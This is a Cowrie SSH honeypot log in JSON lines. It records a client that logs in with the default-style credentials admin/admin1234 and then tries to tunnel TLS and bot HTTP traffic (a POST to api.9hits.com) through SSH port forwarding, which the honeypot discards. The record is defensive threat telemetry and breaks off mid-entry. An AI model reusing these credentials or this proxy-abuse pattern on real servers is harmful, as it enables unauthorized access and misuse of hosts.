{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:50.568816Z","src_ip":"113.164.152.20","session":"0fcb9aff386e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03%\\xd9e\\xb8#\\xc8\\xb2#iR\\xb1\\xc1\\x14\\xd6r\\x7f\\nn\\xe2?\\x00Z\\xb6\\x8c/\\xad{\\t\\xd5:\\xa8w \\x91\\xf0\\xe2\\xb07\\x9d(?j\\xd6\\xb6\\xeb\\x86\\x98\\xf8\\xfa\\xd0\\xd9{\\x8d2\\xe2>\\xa3\\x90\\xcc\\x06\\xb2(\\xe7WJ\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 d+\\x05\\xa4[.s\\xa6\\xac\\x03Q\\x0ckn\\x0e\\x9f\\xda\\x9c|Z\\xd3b\\xc1ux]M\\x116\\xf0?O\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03%\\xd9e\\xb8#\\xc8\\xb2#iR\\xb1\\xc1\\x14\\xd6r\\x7f\\nn\\xe2?\\x00Z\\xb6\\x8c/\\xad{\\t\\xd5:\\xa8w \\x91\\xf0\\xe2\\xb07\\x9d(?j\\xd6\\xb6\\xeb\\x86\\x98\\xf8\\xfa\\xd0\\xd9{\\x8d2\\xe2>\\xa3\\x90\\xcc\\x06\\xb2(\\xe7WJ\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 d+\\x05\\xa4[.s\\xa6\\xac\\x03Q\\x0ckn\\x0e\\x9f\\xda\\x9c|Z\\xd3b\\xc1ux]M\\x116\\xf0?O\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:50.571687Z","src_ip":"113.164.152.20","session":"0fcb9aff386e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:50.842060Z","session":"0fcb9aff386e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:51.104389Z","src_ip":"113.164.152.20","session":"0fcb9aff386e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x84\\xaa _$\\x00\\xcc\\xda;\\'_\\x86\\xefG\\x9a|\\xd3=\\xf1\\xe8\\xba6\\xca4\\x83\\xe8\\xdd^\\x04\\x84\\x04J >\\xe1\\x90I8\\x11}}\\xdc\\x8aJ@/\\xb2Kd\\xab\\x1b\\xbaoV\\x18\\x9f\\xde\\xbd\\'\\x86\\r?i^D\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9a\\xb0\\xb1\\x80\\xbag\\x81\\xa4\\xf2\\x7fw\\xc4\\xbc\\x03\\xf81^\\x0b\\xe81\\xb8\\x9a \\xcb\\x89\\x1f\\xfa\\xb9\\xa3H\\x99e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x84\\xaa _$\\x00\\xcc\\xda;\\'_\\x86\\xefG\\x9a|\\xd3=\\xf1\\xe8\\xba6\\xca4\\x83\\xe8\\xdd^\\x04\\x84\\x04J >\\xe1\\x90I8\\x11}}\\xdc\\x8aJ@/\\xb2Kd\\xab\\x1b\\xbaoV\\x18\\x9f\\xde\\xbd\\'\\x86\\r?i^D\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9a\\xb0\\xb1\\x80\\xbag\\x81\\xa4\\xf2\\x7fw\\xc4\\xbc\\x03\\xf81^\\x0b\\xe81\\xb8\\x9a \\xcb\\x89\\x1f\\xfa\\xb9\\xa3H\\x99e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:51.107404Z","src_ip":"113.164.152.20","session":"0fcb9aff386e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:52.271477Z","src_ip":"113.164.152.20","session":"0fcb9aff386e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":53096,"dst_ip":"10.17.0.5","dst_port":22,"session":"542164428142","protocol":"ssh","message":"New connection: 113.164.152.20:53096 (10.17.0.5:22) [session: 542164428142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:53.431546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:53.435044Z","src_ip":"113.164.152.20","session":"542164428142","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:53.736442Z","src_ip":"113.164.152.20","session":"542164428142","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:55.769983Z","src_ip":"113.164.152.20","session":"542164428142","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:56.265671Z","session":"542164428142","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:56.546558Z","src_ip":"113.164.152.20","session":"542164428142","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; SM-T507) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SjdkV2o8Q3E%2BSV41eUAzQw%3D%3DxxOOv3MiCgwy6w%2BYfq22W4fWJdi3%2BSIon24tF6%2FqeqNfLQIxKBenVpwRAJTyTkrlQHnD3f3d1xwUU%2BfRlE7aaszZL5wlk1RpufuI4v6cYyJGvH2fnnvsmp%2BUZl4RImVx1aADswaqJYxvgcnGBX8LeuuCHQr%2Bzwnu%2FvSI7NGwUIjwnF5ly%2Fkx0xWQtkJJWlonWf6oy3NB5VMrAJS1BKdFNuSMk5G3lPv0gt8BojlwIuTGEJCn43P16VR%2BvRYe8sSmE71Suw3HxaRk6tHLZGMBkuDhbkCfmcw3wKu5vikyI%2FhYSk64wXBxBry6Ac8LJzXtQY0QJtAvSeA7vkixf4ymCD4DmHD2l4fGV%2FXDZuy4abBP5AvMVACCOpRUHvHYqVcbs%2Fn3GMKWsO8hspmfD69%2Bcjh%2FoQyb9o3Gz5DJAUgy4Oge9YRXmUQc3lPvDE34K3RT0rh9XKAlclq3rziE7cD27l3%2B%2BIdfRHbmM7x%2Bym9aCO2a847k3bZc913R5TL%2BLr5%2BwihNy0yB11od6zXXmSk2bLh0KI1uJuRre39UVuPzZU58CdM48G8lh8dT89lewYe5RRzUsa7ox1hDAFCkbZfkl2RhOxZBQUDkHxXW398D2e%2FVGeoRv2xdMl9GWU96rAZ%2BrDYW1uZFBRWwbkeQ%2F9Ak%2BikRNVUvNhx8sPo%2BiQ5FVSZUfuTxyTN5Mv%2FVSVWZoFlqgG%2FZAKW8s%2Fy2%2B169TYuo15hCbor%2Ff%2BQD9bvE6Njcwu4aWC%2FbTXdSuFXeSEkwFAU7Q3zzPgPzymHjXnkxKJ2IVhGlNnTs6BydrcNDKOtwFCW2B69I5%2BSJ47hrTxqAkahwaqipg21AK5Qf3g18jzKS4os3Wgk1qrQfAZ9VOJa%2BTQ1G3THA864WS%2FAQpPWyaikBEWctLPjtJMlqoGYe8MrcfqrnZm4i04X08z95o6c3Y3k34h73Op%2FKw%2BDM0JEpDXun2BYCjKON9%2FWodPOWi3y3z5kq18Y1naHed7H36U%2BUS6Z1Jj0QUzGREY2KPSwurqGe4IvQkA1vaEZcASKmAdaCA4je7gBEU6u%2Bt%2B2HbDNJA%2FE%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; SM-T507) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SjdkV2o8Q3E%2BSV41eUAzQw%3D%3DxxOOv3MiCgwy6w%2BYfq22W4fWJdi3%2BSIon24tF6%2FqeqNfLQIxKBenVpwRAJTyTkrlQHnD3f3d1xwUU%2BfRlE7aaszZL5wlk1RpufuI4v6cYyJGvH2fnnvsmp%2BUZl4RImVx1aADswaqJYxvgcnGBX8LeuuCHQr%2Bzwnu%2FvSI7NGwUIjwnF5ly%2Fkx0xWQtkJJWlonWf6oy3NB5VMrAJS1BKdFNuSMk5G3lPv0gt8BojlwIuTGEJCn43P16VR%2BvRYe8sSmE71Suw3HxaRk6tHLZGMBkuDhbkCfmcw3wKu5vikyI%2FhYSk64wXBxBry6Ac8LJzXtQY0QJtAvSeA7vkixf4ymCD4DmHD2l4fGV%2FXDZuy4abBP5AvMVACCOpRUHvHYqVcbs%2Fn3GMKWsO8hspmfD69%2Bcjh%2FoQyb9o3Gz5DJAUgy4Oge9YRXmUQc3lPvDE34K3RT0rh9XKAlclq3rziE7cD27l3%2B%2BIdfRHbmM7x%2Bym9aCO2a847k3bZc913R5TL%2BLr5%2BwihNy0yB11od6zXXmSk2bLh0KI1uJuRre39UVuPzZU58CdM48G8lh8dT89lewYe5RRzUsa7ox1hDAFCkbZfkl2RhOxZBQUDkHxXW398D2e%2FVGeoRv2xdMl9GWU96rAZ%2BrDYW1uZFBRWwbkeQ%2F9Ak%2BikRNVUvNhx8sPo%2BiQ5FVSZUfuTxyTN5Mv%2FVSVWZoFlqgG%2FZAKW8s%2Fy2%2B169TYuo15hCbor%2Ff%2BQD9bvE6Njcwu4aWC%2FbTXdSuFXeSEkwFAU7Q3zzPgPzymHjXnkxKJ2IVhGlNnTs6BydrcNDKOtwFCW2B69I5%2BSJ47hrTxqAkahwaqipg21AK5Qf3g18jzKS4os3Wgk1qrQfAZ9VOJa%2BTQ1G3THA864WS%2FAQpPWyaikBEWctLPjtJMlqoGYe8MrcfqrnZm4i04X08z95o6c3Y3k34h73Op%2FKw%2BDM0JEpDXun2BYCjKON9%2FWodPOWi3y3z5kq18Y1naHed7H36U%2BUS6Z1Jj0QUzGREY2KPSwurqGe4IvQkA1vaEZcASKmAdaCA4je7gBEU6u%2Bt%2B2HbDNJA%2FE%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:56.550061Z","src_ip":"113.164.152.20","session":"542164428142","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:56.559607Z","session":"542164428142","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:56.828923Z","src_ip":"113.164.152.20","session":"542164428142","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x16\\x8f\\xe9!\\xcd#\\xd3\\xa6\\xf5\\xc4\\xef\\\\\\x8a\\xe1\\x82\\x1e\\xae\\xc4\\xed\\xa0\\x8d\\xb9\\xed\\xfc\\xab\\xd3X\\x9a\\xbd\\xe1\\xca\\x16 s\\xf1\\xa0\\xd5l\\xa9~:\\xb2\\xa3Fw\\x156\\xb7\\xb9\\xa5&ZJ\\xe4\\xc7\\xbe^O\\xf6\\xb7{E\\xe4\\xd4B\\x00 